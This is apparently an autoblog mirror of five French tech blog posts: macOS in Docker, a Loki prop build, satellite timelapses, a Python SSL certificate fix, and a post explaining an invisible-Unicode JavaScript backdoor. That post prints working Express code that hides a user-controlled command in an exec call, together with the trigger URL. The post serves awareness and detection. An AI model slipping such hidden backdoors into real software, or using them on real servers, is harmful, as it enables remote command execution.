PROJET AUTOBLOG


Korben

source: Korben

⇐ retour index

Exécuter macOS dans Docker avec des performances quasi-natives

mardi 11 janvier 2022 à 09:00

Que vous soyez sous Linux ou Windows, il est parfaitement possible de faire tourner macOS grâce à Docker.

Comment ?

Et bien grâce à ce projet de la boite de sécu Sick Codes qui vous fournit tout… Les images Docker pour Monterey, Big Sur, Catalina…etc ainsi que les lignes de commande qui vont bien pour lancer ces images.

Une fois Docker installé, vous pouvez récupérer les images ici sur le hub de docker puis par exemple lancer la commande suivante pour lancer Monterey :

docker run -it \
--device /dev/kvm \
-p 50922:10022 \
-v /tmp/.X11-unix:/tmp/.X11-unix \
-e "DISPLAY=${DISPLAY:-:0.0}" \
-e GENERATE_UNIQUE=true \
-e MASTER_PLIST_URL='https://raw.githubusercontent.com/sickcodes/osx-serial-generator/master/config-custom.plist' \
sickcodes/docker-osx:monterey

# docker build -t docker-osx --build-arg SHORTNAME=monterey .

Les performances sont excellentes, et vous pourrez l’utiliser pour faire de la recherche en cybersécurité (la connexion avec l’iPhone fonctionnera ainsi que iMessage, le forwarding X11 ou encore le partage de dossiers) ou tout simplement tester un outil ou deux.

Prévoyez quand même +20 GB de disque dur pour stocker la bête.

Sick Codes a également mis en ligne un optimiseur de macOS pour accélérer un peu l’exécution de celui-ci (à utiliser avec prudence)

Un tuto pour créer un bâton temporel comme dans la série Loki

lundi 10 janvier 2022 à 09:00

J’ai beaucoup aimé la série Loki sur Disney+ et si vous ne l’avez pas vu, je vous la recommande.

Dans la série, les gardiens du TVA (Tribunal des Variations Anachroniques) ont un genre de sceptre qui leur permet de désintégrer les anomalies temporelles (Le Time Stick)… C’est-à-dire les gens qui se baladent dans des réalités alternatives à celle à laquelle ils appartiennent.

Très cool ce petit sceptre. Ça m’aurait bien servi ce weekend pour désintégrer quelques relous. Mais en attendant, je vais me consoler avec ce projet de sceptre imprimé en 3D qui détecte les mouvements et fait du son comme dans le film. Ainsi, si vous bossez sur un cosplay de Loki ou d’un des personnages de la série, c’est forcément le truc à avoir.

Le tuto a été mis au point par les frères Ruiz, et toutes les étapes sont décrites ici, avec également le code Python qui va bien. Le montage utilise un Feather M4 et PropMaker FeatherWing programmé avec le langage CircuitPython.

Je trouve le rendu super propre ! On dirait un vrai, même si malheureusement, on ne peut désintégrer personne avec celui-là. Cependant, je suis sûr qu’on peut y ajouter un petit taser.

Créer un timelapse d’images satellites

dimanche 9 janvier 2022 à 09:00

Vous vous passionnez pour les images satellites et vous aimeriez bien faire un timelapse d’une zone particulière de la planète pour montrer son évolution ?

Et bien avec Streamlit c’est possible. Le principe est simple. Vous sélectionnez une zone sur la carte, vous exportez cette zone dans un fichier json. Vous réimportez ensuite ce json, vous choisissez une collection d’images satellites et vous cliquez sur le bouton « Submit ».

Et voilà, vous aurez un joli GIF animé ou MP4 à télécharger. Je vous laisse regarder les vidéos pour voir ce que ça donne.

Une backdoor invisible en JavaScript

samedi 8 janvier 2022 à 09:00

Des chercheurs du cabinet de consultig Certitude, ont mis au point une backdoor (porte dérobée) qui ne peut pas être détectée, car elle utilise un caractère Unicode invisible. La technique n’est pas nouvelle, mais c’est une bonne piqûre de rappel (c’est la mode en ce moment, les rappels).

Celui-ci peut ainsi être interprété comme une variable dans un bout de code JavaScript. En effet, à partir de la version 2015 d’ECMAScript, tous les caractères Unicode ayant la propriété « ID_Start » peuvent être utilisés dans des variables ou des constantes.

Ainsi, le caractère « ㅤ » (0x3164 en hexadécimal) qu’on appelle également « HANGUL FILLER » est considéré comme une lettre et possède cette propriété « ID_Start ».

Il ne reste plus qu’à l’utiliser dans du code JavaScript en échappant le caractère comme ceci :

const { timeout,\u3164} = req.query;

Ainsi, dans ce code, on ne passe pas uniquement 1 paramètre « timeout » dans la requête, mais 2 paramètres : timeout et notre caractère Unicode invisible.

Ainsi, quand on observe ce code :

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

On peut voir que le caractère est appelé à 2 endroits. Je les ai mis en gras. Sur Visual Studio c’est un peu plus voyant, car ces caractères forment des carrés jaunes (lignes 8 et 11).

Chaque élément du tableau, les commandes en dur et le paramètre fourni par l’utilisateur du script sont ensuite transmis à la fonction exec qui exécute les commandes au niveau du système d’exploitation.

Grâce à notre caractère invisible, on peut lui passer une commande bonus comme ceci en ajoutant le paramètre 0x3164 URL-encoded, ce qui donne %E3%85%A4 :

http://host:8080/network_health?%E3%85%A4=METTEZ-ICI-NIMPORTE-QUELLE-COMMANDE

Et voilà, la commande supplémentaire sera alors exécutée sur le système.

Ainsi, la détection de ce genre de code invisible dépendra vraiment de l’éditeur utilisé pour afficher le code. Comme vous avez pu le voir, sous Visual Studio c’est visible, mais subtil.

Dans le même genre, il est également possible de tromper l’auditeur d’un code avec des caractères qui se ressemblent. Par exemple, ce symbole “ǃ” n’est pas un point d’exclamation, mais un caractère Unicode appelé ALVEOLAR CLICK. Vous retrouverez l’ensemble de ces codes baptisés « Confusables » ici.

Vous trouverez tous les détails concernant cette technique ici.

Si vous rencontrez l’erreur « ssl.SSLCertVerificationError – certificate verify failed: unable to get local issuer certificate » avec Python

vendredi 7 janvier 2022 à 09:00

Voici une petite erreur que j’ai rencontrée dernièrement sous macOS au moment de lancer un script Python développé par mes soins.

ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1129)

Je me suis bien sûr demandé d’où ça venait, car je n’avais pas modifié mon code. Peut-être une mise à jour de Python. Quoiqu’il en soit, j’ai trouvé la solution, donc je la partage ici en espérant que ça serve à certains. En tout cas, je le note pour moi, histoire que la prochaine fois je perde moins de temps.

Donc si vous rencontrez cette erreur, rendez vous dans le dossier des /Applications de macOS. Localisez le répertoire Python et ouvrez-le.

À l’intérieur, vous verrez un script baptisé « Install Certificates.command ». Il vous suffit alors de double cliquer dessus pour que celui-ci s’exécute et mettre à jour les certificats SSL nécessaires à Python.

Oui, c’est aussi simple que ça.